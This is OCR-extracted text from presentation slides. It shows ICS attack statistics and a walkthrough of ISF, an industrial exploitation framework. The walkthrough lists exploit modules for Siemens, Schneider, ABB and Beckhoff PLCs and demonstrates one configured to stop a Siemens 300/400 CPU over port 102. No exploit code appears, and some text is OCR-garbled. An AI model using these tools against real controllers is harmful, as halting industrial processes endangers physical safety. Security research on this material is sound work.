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. Country* % of systems attacked

1 Vietnam 71.0%

2 Algeria 67.1%

3 Morocco 65.4%

. 4 Indonesia 58.7%
SN 5 China 57.1%
6 India 56.0%

7 Iran 55.3%

8 Saudi Arabia 51.8%

9 Egypt 51.6%

10 Peru 50.8%

11 Thailand 47.8%

12 Malaysia 47.2%

13 Ukraine 46.3%

% attacked ICS computers in 2017 H1 v 14 Portugal A6.1%
=) ..._. 4 15 Kazakhstan 45.9%
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ISF

ISF(Industrial Security Exploitation Framework) is a exploitation framework based
on Python. It's based on NSA Equation Group toolkit which is realsed by Shadow
Broker. It's developed by the [ ](http://icsmaster.com). Please use
them only for researching purposes.
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——ICEMASTER——

[ Version 1.1.1

[ 6 Touches

[ 18 Exploits

[ 15 Pavloads

[ 2 8pecials

[ MADE BY ICSMASTER. HTTP://ICSMASTER.COM 1

ICSMASTER COPYRIGHT © 2017



l Command “help”

isf > help

Core Commands

! Shortcut for shell

? Shortcut for help

autorun Set autorun mode

back Leave the current context back to the default
banner Print the startup banner

changeprompt Change the command prompt

echo Echo a message

enter Enter the context of a plugin

eof Quit program (CTRL-D)

exit Alias for back

help Print out help
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l Command

isf > show

Plugin Categories

Exploit
Payload
Special
Touch

None
None
None
None

“show’

1

isf > show Exploit

Plugin Category: Exploit

Name

ABB_CPU_Command
Beckhoff CX9020 CPU_Control
Schneider CPU_Command
Siemens_1200_C_Control
Siemens_1200 dos__
Siemens_300_400_C_Control
Siemens_300 400 w_dos__
Siemens_300_o_dos__
Siemens_400 o _dos__
Siemens_pn_dos__
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l Command “use

Pick the module

isf > use Siemens_300 400 CPU _Control

['] Entering Plugin Context :: Siemens_300_400_CPU_Control
[*] Applying Global Variables

[*] Applying Session Parameters
[*] Running Exploit Touches
['] Enter Prompt Mode :: Siemens_300_400_CPU_Control

Module: Siemens_300_400_CPU_Control

Name Value
Targetlp
TargetPort 102
Slot 3

Command stop

['] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :
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l Command “info”
Display information about exploit

isf Exploit (Siemens_300_400_CPU_Control) > info

Information

Name: Siemens_300_400_CPU_Control

Version: 1.1.0
Author: w3h
Type: Exploit
Parameters
Name Value  Description
Targetlp Target IP Address
TargetPort 102 Target Port
Slot 3 The number of slot

Command stop  The control command of cpu
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l Command “set”

Set the parameter value

isf Exploit (Siemens_300_400_CPU_Control) > set Targetlp 127.0.0.1
[+] Set Targetlp => 127.0.0.1
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l Command “prompt”

isf Exploit (Siemens_300_400_CPU_Control) > prompt
[!] Enter Prompt Mode :: Siemens_300_400_CPU_Control
[*] Targetlp :: Target IP Address

[?] Targetlp [] :
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l Command “run/execute”

isf Exploit (Siemens_300_400_CPU_Control) > run
['] Preparing to Execute Siemens_300_400_CPU_Control

Module: Siemens_300 400 CPU_Control

Name Value

Targetlp 127.0.0.1
TargetPort 102

Slot 3
Command  stop

[?] Execute Plugin? [Yes] :
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l PLC Worm
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l PLC Socket Proxy
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l PLC Socket Proxy
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